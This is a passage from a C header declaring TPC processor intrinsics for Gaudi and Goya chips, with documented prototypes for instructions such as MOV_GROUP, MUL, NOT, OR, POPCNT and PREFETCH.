sdg1 Source dual group 1 {0, 1, 2, 3}.\n/// @param sdg2 Source dual group 2 {0, 1, 2, 3}.\n/// @param sdg3 Source dual group 3 {0, 1, 2, 3}.\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n/// \\par Allowed switches:\n/// \\li SW_WR_LOWER_GROUP0\n/// \\li SW_WR_LOWER_GROUP1\n/// \\li SW_WR_LOWER_GROUP2\n/// \\li SW_WR_LOWER_GROUP3\n/// \\li SW_WR_UPPER_GROUP0\n/// \\li SW_WR_UPPER_GROUP1\n/// \\li SW_WR_UPPER_GROUP2\n/// \\li SW_WR_UPPER_GROUP3\n///\n#endif\n/// @{\n#if defined(__gaudi_plus__)\nfloat64 v_f32_mov_dual_group_all_vb(float64 a, const uint32_t b, const int sdg0, const int sdg1, const int sdg2, const int sdg3, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_mov_dual_group_all_b(float64 a, const uint32_t b, const int sdg0, const int sdg1, const int sdg2, const int sdg3, int switches, float64 income, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_mov_dual_group_all_vb(bfloat128 a, const uint32_t b, const int sdg0, const int sdg1, const int sdg2, const int sdg3, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_mov_dual_group_all_b(bfloat128 a, const uint32_t b, const int sdg0, const int sdg1, const int sdg2, const int sdg3, int switches, bfloat128 income, bool predicate=1, bool polarity=0);\nint64 v_i32_mov_dual_group_all_vb(int64 a, const uint32_t b, const int sdg0, const int sdg1, const int sdg2, const int sdg3, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_mov_dual_group_all_b(int64 a, const uint32_t b, const int sdg0, const int sdg1, const int sdg2, const int sdg3, int switches, int64 income, bool predicate=1, bool polarity=0);\nuint64 v_u32_mov_dual_group_all_vb(uint64 a, const uint32_t b, const int sdg0, const int sdg1, const int sdg2, const int sdg3, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_mov_dual_group_all_b(uint64 a, const uint32_t b, const int sdg0, const int sdg1, const int sdg2, const int sdg3, int switches, uint64 income, bool predicate=1, bool polarity=0);\nshort128 v_i16_mov_dual_group_all_vb(short128 a, const uint32_t b, const int sdg0, const int sdg1, const int sdg2, const int sdg3, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_mov_dual_group_all_b(short128 a, const uint32_t b, const int sdg0, const int sdg1, const int sdg2, const int sdg3, int switches, short128 income, bool predicate=1, bool polarity=0);\nushort128 v_u16_mov_dual_group_all_vb(ushort128 a, const uint32_t b, const int sdg0, const int sdg1, const int sdg2, const int sdg3, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_mov_dual_group_all_b(ushort128 a, const uint32_t b, const int sdg0, const int sdg1, const int sdg2, const int sdg3, int switches, ushort128 income, bool predicate=1, bool polarity=0);\nchar256 v_i8_mov_dual_group_all_vb(char256 a, const uint32_t b, const int sdg0, const int sdg1, const int sdg2, const int sdg3, int switches, char256 income, bool256 predicate, bool polarity=0);\nchar256 v_i8_mov_dual_group_all_b(char256 a, const uint32_t b, const int sdg0, const int sdg1, const int sdg2, const int sdg3, int switches, char256 income, bool predicate=1, bool polarity=0);\nuchar256 v_u8_mov_dual_group_all_vb(uchar256 a, const uint32_t b, const int sdg0, const int sdg1, const int sdg2, const int sdg3, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_mov_dual_group_all_b(uchar256 a, const uint32_t b, const int sdg0, const int sdg1, const int sdg2, const int sdg3, int switches, uchar256 income, bool predicate=1, bool polarity=0);\n#endif\n/// @}\n\n\n//\n// ------ MOV_IRF_DIM\n//\n\n\n/// @brief Represents MOV_IRF_DIM instruction.\n///\n/// @param src The index vector (SRC1).\n/// @param dim The number of extracted dimension.\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation - move \\p src to DEST.\n///\n/// @{\nint32_t mov_irf_dim(int5 src, const int8_t dim, int switches, int32_t income={}, bool predicate=1, bool polarity=0);\n/// @}\n\n\n/// @brief Represents MOV_GROUP instruction.\n///\n/// @param a Source (SRC1).\n/// @param b Byte write mask.\n/// @param switches Instruction switches.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n/// \\par Allowed switches:\n/// - [GROUP_EN] - when set group is written according to \\p b.\n/// \\li SW_GROUP0_EN\n/// \\li SW_GROUP1_EN\n/// - [DUAL_GROUP_EN] - when set dual group is written according to GROUP_EN and \\p b.\n/// \\li SW_DUAL_GROUP0_EN\n/// \\li SW_DUAL_GROUP1_EN\n/// \\li SW_DUAL_GROUP2_EN\n/// \\li SW_DUAL_GROUP3_EN\n///\n/// @{\nfloat64 v_f32_mov_group_vb(float64 a, uint32_t b, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_mov_group_b(float64 a, uint32_t b, int switches, float64 income, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_mov_group_vb(bfloat128 a, uint32_t b, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_mov_group_b(bfloat128 a, uint32_t b, int switches, bfloat128 income, bool predicate=1, bool polarity=0);\n#endif\nint64 v_i32_mov_group_vb(int64 a, uint32_t b, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_mov_group_b(int64 a, uint32_t b, int switches, int64 income, bool predicate=1, bool polarity=0);\nuint64 v_u32_mov_group_vb(uint64 a, uint32_t b, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_mov_group_b(uint64 a, uint32_t b, int switches, uint64 income, bool predicate=1, bool polarity=0);\nshort128 v_i16_mov_group_vb(short128 a, uint32_t b, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_mov_group_b(short128 a, uint32_t b, int switches, short128 income, bool predicate=1, bool polarity=0);\nushort128 v_u16_mov_group_vb(ushort128 a, uint32_t b, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_mov_group_b(ushort128 a, uint32_t b, int switches, ushort128 income, bool predicate=1, bool polarity=0);\nchar256 v_i8_mov_group_vb(char256 a, uint32_t b, int switches, char256 income, bool256 predicate, bool polarity=0);\nchar256 v_i8_mov_group_b(char256 a, uint32_t b, int switches, char256 income, bool predicate=1, bool polarity=0);\nuchar256 v_u8_mov_group_vb(uchar256 a, uint32_t b, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_mov_group_b(uchar256 a, uint32_t b, int switches, uchar256 income, bool predicate=1, bool polarity=0);\n/// @}\n\n\n//\n// ------ MSAC\n//\n\n\n#if defined(__goya__)\n/// @brief Represents MSAC instruction.\n///\n/// @param a Source #1 (SRC1)\n/// @param b Source #2 (SRC2)\n/// @param n1 ABCin norm factor, range is [-32, 0] (SRC3)\n/// @param n2 CinCout norm factor, range is [-25, 0] (SRC4)\n/// @param switches Switches of MSAC instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Normalized result after multiplication of two source operands (a & b).\n///\n/// \\par Allowed switches:\n/// \\li SW_RHU - Round half up.\n/// \\par\n/// - [SW_NORMALIZE] - \\p c refers to DEST\n/// \\li SW_NORMALIZE_AB - \\c c=((a*b)*2^n1+c)*2^n2)\n/// \\li SW_NORMALIZE_C - \\c c=((a*b)+c*2^n1)*2^n2)\n///\n#endif\n/// @{\n#if defined(__goya__)\nshort128 v_i16_msac_b(short128 a, short128 b, char256 n1, char256 n2, int switches, short128 income, bool predicate=1, bool polarity=0);\nshort128 v_i16_msac_vb(short128 a, short128 b, char256 n1, char256 n2, int switches, short128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_msac_b(ushort128 a, ushort128 b, char256 n1, char256 n2, int switches, ushort128 income, bool predicate=1, bool polarity=0);\nushort128 v_u16_msac_vb(ushort128 a, ushort128 b, char256 n1, char256 n2, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nchar256 v_i8_msac_b(char256 a, char256 b, char256 n1, char256 n2, int switches, char256 income, bool predicate=1, bool polarity=0);\nchar256 v_i8_msac_vb(char256 a, char256 b, char256 n1, char256 n2, int switches, char256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_msac_b(uchar256 a, uchar256 b, char256 n1, char256 n2, int switches, uchar256 income, bool predicate=1, bool polarity=0);\nuchar256 v_u8_msac_vb(uchar256 a, uchar256 b, char256 n1, char256 n2, int switches, uchar256 income, bool256 predicate, bool polarity=0);\n#endif\n/// @}\n\n\n//\n// ------ MUL\n//\n\n\n/// @brief Represents MUL instruction for float arguments.\n///\n/// @param a The first SRC operand to MUL (SRC1).\n/// @param b The second SRC operand to MUL (SRC2).\n/// @param switches Switches of MUL instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n/// @{\nfloat s_f32_mul(float a, float b, int switches=0, float income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbf16 s_bf16_mul(bf16 a, bf16 b, int switches=0, bf16 income={}, bool predicate=1, bool polarity=0);\n#endif\nfloat64 v_f32_mul_vb(float64 a, float64 b, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_mul_b(float64 a, float64 b, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_mul_vb(bfloat128 a, bfloat128 b, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_mul_b(bfloat128 a, bfloat128 b, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\n/// @}\n\n\n#if defined(__gaudi_plus__)\n/// @brief Represents MUL instruction with ACC_F32 switch (32-bit accumulator).\n///\n/// @param a The first SRC operand to MUL (SRC1).\n/// @param b The second SRC operand to MUL (SRC2).\n/// @param switches Switches of MUL instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n#endif\n/// @{\n#if defined(__gaudi_plus__)\nfloat s_bf16_mul_acc32(bf16 a, bf16 b, int switches=0, float income={}, bool predicate=1, bool polarity=0);\nfloat128 v_bf16_mul_acc32_vb(bfloat128 a, bfloat128 b, int switches, float128 income, bool128 predicate, bool polarity=0);\nfloat128 v_bf16_mul_acc32_b(bfloat128 a, bfloat128 b, int switches=0, float128 income={}, bool predicate=1, bool polarity=0);\n#endif\n/// @}\n\n\n/// @brief Represents scalar MUL instruction for integer arguments.\n///\n/// @param a The first SRC operand to MUL (SRC1).\n/// @param b The second SRC operand to MUL (SRC2).\n/// @param switches Switches of MUL instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n/// \\par Allowed switches are:\n/// \\li SW_UPPER32 - When set upper 32 bit of 64 bit result are stored (INT32, UINT32 only).\n///\n/// @{\nint32_t s_i32_mul(int32_t a, int32_t b, int switches=0, int32_t income={}, bool predicate=1, bool polarity=0);\nuint32_t s_u32_mul(uint32_t a, uint32_t b, int switches=0, uint32_t income={}, bool predicate=1, bool polarity=0);\nint32_t s_i16_mul(int16_t a, int16_t b, int switches=0, int32_t income={}, bool predicate=1, bool polarity=0);\nuint32_t s_u16_mul(uint16_t a, uint16_t b, int switches=0, uint32_t income={}, bool predicate=1, bool polarity=0);\n#if defined(__goya__)\nint32_t s_i8_mul(int8_t a, int8_t b, int switches=0, int32_t income={}, bool predicate=1, bool polarity=0);\nuint32_t s_u8_mul(uint8_t a, uint8_t b, int switches=0, uint32_t income={}, bool predicate=1, bool polarity=0);\n#endif\n/// @}\n\n\n/// @brief Represents vector MUL instruction for integer arguments.\n///\n/// @param a The first SRC operand to MUL (SRC1).\n/// @param b The second SRC operand to MUL (SRC2).\n/// @param switches Switches of MUL instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n///\n/// @{\nint128 v_i32_mul_b(int64 a, int64 b, int switches=0, int128 income={}, bool predicate=1, bool polarity=0);\nint128 v_i32_mul_vb(int64 a, int64 b, int switches, int128 income, bool64 predicate, bool polarity=0);\nuint128 v_u32_mul_b(uint64 a, uint64 b, int switches=0, uint128 income={}, bool predicate=1, bool polarity=0);\nuint128 v_u32_mul_vb(uint64 a, uint64 b, int switches, uint128 income, bool64 predicate, bool polarity=0);\nint128 v_i16_mul_b(short128 a, short128 b, int switches=0, int128 income={}, bool predicate=1, bool polarity=0);\nint128 v_i16_mul_vb(short128 a, short128 b, int switches, int128 income, bool128 predicate, bool polarity=0);\nuint128 v_u16_mul_vb(ushort128 a, ushort128 b, int switches, uint128 income, bool128 predicate, bool polarity=0);\nuint128 v_u16_mul_b(ushort128 a, ushort128 b, int switches=0, uint128 income={}, bool predicate=1, bool polarity=0);\n#if defined(__goya__)\nint256 v_i8_mul_vb(char256 a, char256 b, int switches, int256 income, bool256 predicate, bool polarity=0);\nint256 v_i8_mul_b(char256 a, char256 b, int switches=0, int256 income={}, bool predicate=1, bool polarity=0);\nuint256 v_u8_mul_vb(uchar256 a, uchar256 b, int switches, uint256 income, bool256 predicate, bool polarity=0);\nuint256 v_u8_mul_b(uchar256 a, uchar256 b, int switches=0, uint256 income={}, bool predicate=1, bool polarity=0);\n#endif\n/// @}\n\n\n/// @brief Represents vector MUL instruction with DOUBLE_AND_ROUND32 switch (RHU).\n///\n/// @param a The first SRC operand to MUL (SRC1).\n/// @param b The second SRC operand to MUL (SRC2).\n/// @param switches Switches of MUL instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n/// @{\nint64 v_i32_mul_round_b(int64 a, int64 b, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nint64 v_i32_mul_round_vb(int64 a, int64 b, int switches, int64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_mul_round_b(uint64 a, uint64 b, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_mul_round_vb(uint64 a, uint64 b, int switches, uint64 income, bool64 predicate, bool polarity=0);\n/// @}\n\n\n/// @brief Represents scalar MUL instruction for integer operands in index registers.\n///\n/// @param a The first SRC operand to MUL (SRC1).\n/// @param b The second SRC operand to MUL (SRC2).\n/// @param dimmask Selects IRF lanes participated in the operation.\n/// @param switches Switches of MUL instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n/// @{\nint5 i_i32_mul(int5 a, int5 b, const int dimmask, int switches, int5 income, bool predicate=1, bool polarity=0);\n/// @}\n\n\n//\n// ------ NEARBYINT\n//\n\n/// @brief Represents NEARBYINT instruction.\n///\n/// @param a Input value (SRC1).\n/// @param switches Switches of the instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Returns the nearest integer value to \\p a.\n///\n/// \\par Allowed switches are:\n/// - [ROUND]\n/// \\li SW_RHNE - Round half to nearest even.\n/// \\li SW_RZ - Round zero.\n/// \\li SW_RU - Round up.\n/// \\li SW_RD - Round down.\n///\n/// @{\nfloat s_f32_nearbyint(float a, int switches=0, float income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_nearbyint_b(float64 a, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_nearbyint_vb(float64 a, int switches, float64 income, bool64 predicate, bool polarity=0);\n#if defined(__gaudi_plus__)\nbf16 s_bf16_nearbyint(bf16 a, int switches=0, bf16 income={}, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_nearbyint_b(bfloat128 a, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_nearbyint_vb(bfloat128 a, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\n#endif\n/// @}\n\n\n//\n// ------ NOT\n//\n\n/// @brief Represents NOT instruction.\n///\n/// @param a The argument (SRC1).\n/// @param switches Switches of NOT instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n/// @{\nfloat s_f32_not(float a, int switches=0, float income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbf16 s_bf16_not(bf16 a, int switches=0, bf16 income={}, bool predicate=1, bool polarity=0);\n#endif\nint32_t s_i32_not(int32_t a, int switches=0, int32_t income={}, bool predicate=1, bool polarity=0);\nuint32_t s_u32_not(uint32_t a, int switches=0, uint32_t income={}, bool predicate=1, bool polarity=0);\nint16_t s_i16_not(int16_t a, int switches=0, int16_t income={}, bool predicate=1, bool polarity=0);\nuint16_t s_u16_not(uint16_t a, int switches=0, uint16_t income={}, bool predicate=1, bool polarity=0);\nint8_t s_i8_not(int8_t a, int switches=0, int8_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_u8_not(uint8_t a, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\nbool s_i1_not(bool a, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_not_b(float64 a, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_not_vb(float64 a, int switches, float64 income, bool64 predicate, bool polarity=0);\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_not_b(bfloat128 a, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_not_vb(bfloat128 a, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\n#endif\nint64 v_i32_not_b(int64 a, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nint64 v_i32_not_vb(int64 a, int switches, int64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_not_b(uint64 a, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_not_vb(uint64 a, int switches, uint64 income, bool64 predicate, bool polarity=0);\nshort128 v_i16_not_b(short128 a, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_not_vb(short128 a, int switches, short128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_not_b(ushort128 a, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_not_vb(ushort128 a, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nchar256 v_i8_not_b(char256 a, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_not_vb(char256 a, int switches, char256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_not_b(uchar256 a, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_not_vb(uchar256 a, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nbool256 v_i1_not_b(bool256 a, int switches=0, bool256 income={}, bool predicate=1, bool polarity=0);\nbool256 v_i1_not_vb(bool256 a, int switches, bool256 income, bool256 predicate, bool polarity=0);\n/// @}\n\n\n/// @brief Represents NOT instruction for int5 operands.\n///\n/// @param a The argument (SRC1).\n/// @param dimmask Selects IRF lanes participated in the operation.\n/// @param switches Switches of NOT instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n/// @{\nint5 i_i32_not(int5 a, int dimmask, const int switches, int5 income, bool predicate=1, bool polarity=0);\n/// @}\n\n\n//\n// ------ OR\n//\n\n/// @brief Represents OR instruction.\n///\n/// @param a The first SRC operand to OR (SRC1).\n/// @param b The second SRC operand to OR (SRC2).\n/// @param switches Switches of OR instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n/// @{\nfloat s_f32_or(float a, float b, int switches=0, float income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbf16 s_bf16_or(bf16 a, bf16 b, int switches=0, bf16 income={}, bool predicate=1, bool polarity=0);\n#endif\nint32_t s_i32_or(int32_t a, int32_t b, int switches=0, int32_t income={}, bool predicate=1, bool polarity=0);\nuint32_t s_u32_or(uint32_t a, uint32_t b, int switches=0, uint32_t income={}, bool predicate=1, bool polarity=0);\nint16_t s_i16_or(int16_t a, int16_t b, int switches=0, int16_t income={}, bool predicate=1, bool polarity=0);\nuint16_t s_u16_or(uint16_t a, uint16_t b, int switches=0, uint16_t income={}, bool predicate=1, bool polarity=0);\nint8_t s_i8_or(int8_t a, int8_t b, int switches=0, int8_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_u8_or(uint8_t a, uint8_t b, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\nbool s_i1_or(bool a, bool b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_or_vb(float64 a, float64 b, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_or_b(float64 a, float64 b, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_or_vb(bfloat128 a, bfloat128 b, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_or_b(bfloat128 a, bfloat128 b, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\nint64 v_i32_or_vb(int64 a, int64 b, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_or_b(int64 a, int64 b, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_or_vb(uint64 a, uint64 b, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_or_b(uint64 a, uint64 b, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_or_vb(short128 a, short128 b, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_or_b(short128 a, short128 b, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_or_vb(ushort128 a, ushort128 b, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_or_b(ushort128 a, ushort128 b, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_or_vb(char256 a, char256 b, int switches, char256 income, bool256 predicate, bool polarity=0);\nchar256 v_i8_or_b(char256 a, char256 b, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_or_vb(uchar256 a, uchar256 b, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_or_b(uchar256 a, uchar256 b, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nbool256 v_i1_or_b(bool256 a, bool256 b, int switches=0, bool256 income={}, bool predicate=1, bool polarity=0);\nbool256 v_i1_or_vb(bool256 a, bool256 b, int switches, bool256 income, bool256 predicate, bool polarity=0);\n/// @}\n\n\n/// @brief Represents OR instruction for int5.\n///\n/// @param a The first SRC operand to OR (SRC1).\n/// @param b The second SRC operand to OR (SRC2).\n/// @param dimmask Selects IRF lanes participated in the operation.\n/// @param switches Switches of OR instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n/// @{\nint5 i_i32_or(int5 a, int5 b, const int dimmask, int switches, int5 income, bool predicate=1, bool polarity=0);\n/// @}\n\n\n//\n// ------ PACK\n//\n\n/// @brief Represents PACK instruction.\n///\n/// @param a Value in which population is counted (SRC1).\n/// @param switches Switches of the instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Packed value.\n///\n/// \\par Allowed switches are:\n/// - [GROUP_SOURCE] - Indicates which of the groups in the dual group is to be used as a source.\n/// \\li SW_GROUP_0\n/// \\li SW_GROUP_1\n/// - [ELEMENT_STRIDE]\n/// \\li SW_STRIDE_2 - Every second element is valid.\n/// \\li SW_STRIDE_4 - Every forth element is valid.\n///\n/// @{\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_pack_b(bfloat128 a,int switches, bfloat128 income, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_pack_vb(bfloat128 a, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\n#endif\nshort128 v_i16_pack_b(short128 a,int switches, short128 income, bool predicate=1, bool polarity=0);\nshort128 v_i16_pack_vb(short128 a, int switches, short128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_pack_b(ushort128 a,int switches, ushort128 income, bool predicate=1, bool polarity=0);\nushort128 v_u16_pack_vb(ushort128 a, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nchar256 v_i8_pack_b(char256 a,int switches, char256 income, bool predicate=1, bool polarity=0);\nchar256 v_i8_pack_vb(char256 a, int switches, char256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_pack_b(uchar256 a,int switches, uchar256 income, bool predicate=1, bool polarity=0);\nuchar256 v_u8_pack_vb(uchar256 a, int switches, uchar256 income, bool256 predicate, bool polarity=0);\n/// @}\n\n\n//\n// ------ POPCNT\n//\n\n/// @brief Represents POPCNT instruction.\n///\n/// @param a Value in which population is counted (SRC1).\n/// @param switches Switches of the instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return The number of 0s or 1s in the elemenet - \\p a.\n///\n/// \\par Allowed switches are:\n/// - [SET] - Indicates whether to count 0s or 1s.\n/// \\li SW_COUNT_ZEROS\n/// \\li SW_COUNT_ONES\n///\n/// @{\nuint8_t s_f32_popcnt(float a, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nuint8_t s_bf16_popcnt(bf16 a, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\n#endif\nuint8_t s_i32_popcnt(int32_t a, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_u32_popcnt(uint32_t a, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_i16_popcnt(int16_t a, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_u16_popcnt(uint16_t a, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_i8_popcnt(int8_t a, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_u8_popcnt(uint8_t a, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\nuchar256 v_f32_popcnt_b(float64 a, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_f32_popcnt_vb(float64 a, int switches, uchar256 income, bool64 predicate, bool polarity=0);\n#if defined(__gaudi_plus__)\nuchar256 v_bf16_popcnt_b(bfloat128 a, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_bf16_popcnt_vb(bfloat128 a, int switches, uchar256 income, bool128 predicate, bool polarity=0);\n#endif\nuchar256 v_i32_popcnt_b(int64 a, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_i32_popcnt_vb(int64 a, int switches, uchar256 income, bool64 predicate, bool polarity=0);\nuchar256 v_u32_popcnt_b(uint64 a, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u32_popcnt_vb(uint64 a, int switches, uchar256 income, bool64 predicate, bool polarity=0);\nuchar256 v_i16_popcnt_b(short128 a, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_i16_popcnt_vb(short128 a, int switches, uchar256 income, bool128 predicate, bool polarity=0);\nuchar256 v_u16_popcnt_b(ushort128 a, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u16_popcnt_vb(ushort128 a, int switches, uchar256 income, bool128 predicate, bool polarity=0);\nuchar256 v_i8_popcnt_b(char256 a, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_i8_popcnt_vb(char256 a, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_popcnt_b(uchar256 a, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_popcnt_vb(uchar256 a, int switches, uchar256 income, bool256 predicate, bool polarity=0);\n/// @}\n\n\n//\n// ------ PREFETCH\n//\n\n#if defined(__gaudi_plus__)\n/// @brief Represents PREFETCH instruction.\n///\n/// @param a Address to prefetch (SRC1).\n/// @param switches Switches of the instruction.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n///\n#endif\n/// @{\n#if defined(__gaudi_plus__)\nvoid prefetch(__global void *a, int switches=0, bool predicate=1, bool polarity=0);\n#endif\n/// @}\n\n\n//\n// ------ PRMT_INDX\n//\n\n\n/// @brief Represents PRMT_INDX instruction.\n///\n/// @param ndx Source tensor coordinates (SRC1).\n/// @param prmt_type Permutation type - each 3 bits (X5) represent a src dimension in \\p ndx (SRC2).\n/// @param switches Switches of the instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Tensor coordinates after permutation.\n///\n/// @{\nint5 prmt_indx(int5 ndx, int 